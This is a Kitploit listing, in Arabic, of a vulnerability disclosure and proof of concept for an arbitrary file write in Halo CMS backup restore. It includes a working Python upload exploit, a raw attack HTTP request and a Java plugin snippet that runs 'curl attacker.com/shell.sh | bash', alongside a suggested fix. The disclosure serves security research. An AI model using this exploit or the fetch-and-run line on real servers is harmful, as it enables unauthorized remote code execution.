Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
halo-2.25.4-backup-write-CVE-2026-67920 — إثبات مفهوم لاستغلال ثغرة كتابة ملفات عشوائية في استعادة النسخ الاحتياطي لنظام Halo CMS، مما يتيح تنفيذ أوامر عن بُعد (RCE) عبر استبدال ملف JAR الخاص بالإضافات أو تجاوز المصادقة. | Kitploit
أدوات/GitHubGitHub/unpredictable21/halo-2.25.4-backup-write-cve-2026-67920
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubunpredictable21/halo-2.25.4-backup-write-cve-2026-67920

halo-2.25.4-backup-write-CVE-2026-67920

إثبات مفهوم لاستغلال ثغرة كتابة ملفات عشوائية في استعادة النسخ الاحتياطي لنظام Halo CMS، مما يتيح تنفيذ أوامر عن بُعد (RCE) عبر استبدال ملف JAR الخاص بالإضافات أو تجاوز المصادقة.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة الكتابة التعسفية للملفات في استعادة النسخ الاحتياطي في Halo CMS

الملخص

توجد ثغرة حرجة في الكتابة التعسفية للملفات في وظيفة استعادة النسخ الاحتياطي في إصدارات Halo CMS حتى 2.25.4. تقوم طريقة restoreWorkdir() في MigrationServiceImpl.java بنسخ دليل workdir/ من أرشيف النسخ الاحتياطي المقدم من المستخدم مباشرة إلى دليل عمل تطبيق Halo (~/.halo2/) دون أي تحقق من أنواع الملفات أو حماية من اجتياز المسار أو فحص الروابط الرمزية. يمكن للمهاجم المصادق الذي يمتلك صلاحيات إدارة النسخ الاحتياطي إنشاء ملف ZIP ضار يحتوي على ملفات تعسفية في دليل workdir/، والتي ستُكتب إلى دليل عمل الخادم عند الاستعادة، مما قد يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر استبدال JAR الخاص بالإضافات أو تجاوز المصادقة عبر استبدال مفتاح RSA.

درجة CVSS v3.1: 8.8 (عالية)
متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-73 (التحكم الخارجي في اسم الملف أو المسار)


الإصدارات المتأثرة

  • Halo CMS ≤ 2.25.4
  • جميع الإصدارات التي تحتوي على وظيفة استعادة النسخ الاحتياطي

تفاصيل الثغرة

السبب الجذري

تقع الثغرة في طريقة restoreWorkdir() في MigrationServiceImpl.java (الأسطر 230-243):

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VULNERABLE LINE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

تقوم طريقة copyRecursively() (وهي FileSystemUtils من Spring) بنسخ متكرر دون:

  1. التحقق من نوع الملف - لا يوجد فحص لامتدادات الملفات أو أنواع MIME
  2. حماية اجتياز المسار - لا يوجد فحص لتسلسلات .. في أسماء الملفات
  3. كشف الروابط الرمزية - لا يوجد فحص للروابط الرمزية
  4. حدود حجم الملف - لا يوجد تقييد لأحجام الملفات
  5. حماية الاستبدال - يستبدل الملفات الموجودة بصمت

ناقل الهجوم

يتم تشغيل الثغرة من خلال نقطة نهاية استعادة النسخ الاحتياطي:

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

تتبع عملية الاستعادة التسلسل التالي:

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → Extract ZIP to temp directory          │
│  2. restoreExtensions() → Restore extensions.data           │
│  3. restoreWorkdir() → Copy workdir/ to ~/.halo2/           │
│     ↑ Arbitrary files written to working directory          │
└─────────────────────────────────────────────────────────────┘

بنية النسخ الاحتياطي الضار

يجب أن يحتوي ملف ZIP للنسخ الاحتياطي الضار على:

root@kitploit:~
malicious-backup.zip
├── extensions.data          # Required: Can be empty or contain valid JSONL
└── workdir/                 # Required: Contents copied to ~/.halo2/
    ├── PWNED_BY_POC.txt     # Proof of concept marker file
    ├── plugins/             # Plugin JARs for RCE
    │   └── evil-plugin.jar  # Malicious plugin
    └── keys/                # RSA keys for authentication bypass
        ├── pat_id_rsa       # Malicious private key
        └── pat_id_rsa.pub   # Malicious public key

تنسيق extensions.data

يجب أن يكون ملف extensions.data صالحًا لكي تنجح restoreExtensions(). تتضمن التنسيقات الصالحة:

  1. ملف فارغ: (محتوى فارغ)

  2. سطر فارغ: \n (سطر جديد فقط)

  3. JSONL صالح: كائن ExtensionStore واحد لكل سطر:

    root@kitploit:~
    {"name": "/registry/test/dummy", "data": "e30=", "version": 1}
    

    حيث تكون data محتوى مشفرًا بـ base64.


خطوات الاستغلال

المتطلبات الأساسية

  • مستخدم مصادق بصلاحيات إدارة النسخ الاحتياطي
  • وصول شبكي إلى واجهة برمجة تطبيقات Halo

الخطوة 1: إنشاء نسخة احتياطية ضارة

root@kitploit:~
import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # Empty extensions.data (passes restoreExtensions validation)
    zf.writestr('extensions.data', '\n')

    # Arbitrary file to write to ~/.halo2/
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

الخطوة 2: رفع النسخة الاحتياطية الضارة

عنوان إدارة النسخ الاحتياطي للواجهة الأمامية: http://ip:port/console/backup

root@kitploit:~
POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--
image

الخطوة 3: التحقق من كتابة الملف

root@kitploit:~
# On the Halo server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt
image

تحليل التأثير

التأثير المباشر

  1. الكتابة التعسفية للملفات: يمكن للمهاجم كتابة أي ملف إلى ~/.halo2/
  2. استبدال الملفات: يتم استبدال الملفات الموجودة بصمت

سيناريوهات التصعيد

ناقل الهجومالملف المستهدفالتأثيرالخطورة
استبدال JAR الإضافة~/.halo2/plugins/*.jarتنفيذ التعليمات البرمجية عن بُعدحرجة
استبدال مفتاح RSA~/.halo2/keys/pat_id_rsaتجاوز المصادقةحرجة
استبدال السمة~/.halo2/themes/*XSS مخزنةعالية
استبدال التكوين~/.halo2/*.yamlتجاوز ضوابط الأمانعالية

RCE عبر استبدال JAR الإضافة

يمكن للمهاجم استبدال JAR إضافة شرعية بأخرى ضارة تحتوي على:

root@kitploit:~
@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Execute arbitrary command
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

عند تحميل الإضافة، يتم تنفيذ التعليمات البرمجية الضارة بصلاحيات عملية Halo.


إثبات المفهوم

سكربت PoC بلغة Python

root@kitploit:~
#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Vulnerability: Backup Restore Arbitrary File Write
CVSS: 8.8 (High)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

التحقق

root@kitploit:~
# Execute PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# On Halo server
cat ~/.halo2/PWNED_BY_POC.txt

المعالجة

الإصلاح الموصى به

أضف التحقق إلى طريقة restoreWorkdir():

root@kitploit:~
private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // Validate no path traversal
                checkDirectoryTraversal(backupRoot, workdir);

                // Validate no symbolic links
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolic links not allowed");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // Copy with validation
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

توصيات إضافية

  1. تنفيذ توقيع النسخ الاحتياطي: توقيع النسخ الاحتياطية تشفيريًا لمنع العبث بها
  2. إضافة قائمة السماح لأنواع الملفات: السماح فقط بأنواع ملفات محددة في workdir
  3. تنفيذ حدود حجم الملف: تقييد الحد الأقصى لأحجام الملفات
  4. إضافة تسجيل تدقيق: تسجيل جميع عمليات استعادة النسخ الاحتياطي
  5. طلب إعادة المصادقة: طلب تأكيد كلمة المرور لاستعادة النسخ الاحتياطي

المراجع

  • البائع: https://github.com/halo-dev/halo
  • الكود المتأثر: application/src/main/java/run/halo/app/migration/impl/MigrationServiceImpl.java
  • CWE-73: https://cwe.mitre.org/data/definitions/73.html
  • حاسبة CVSS: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

الجدول الزمني

  • تاريخ الاكتشاف: 2026-07-10
  • إشعار البائع: [قيد الانتظار]
  • الإفصاح العام: [قيد الانتظار]

الاعتمادات

  • المكتشف: LIAN

إخلاء المسؤولية

هذا الإفصاح عن الثغرة مخصص لأغراض البحث الأمني فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات. احصل دائمًا على التفويض المناسب قبل اختبار الأنظمة بحثًا عن الثغرات.

تنزيل الأداة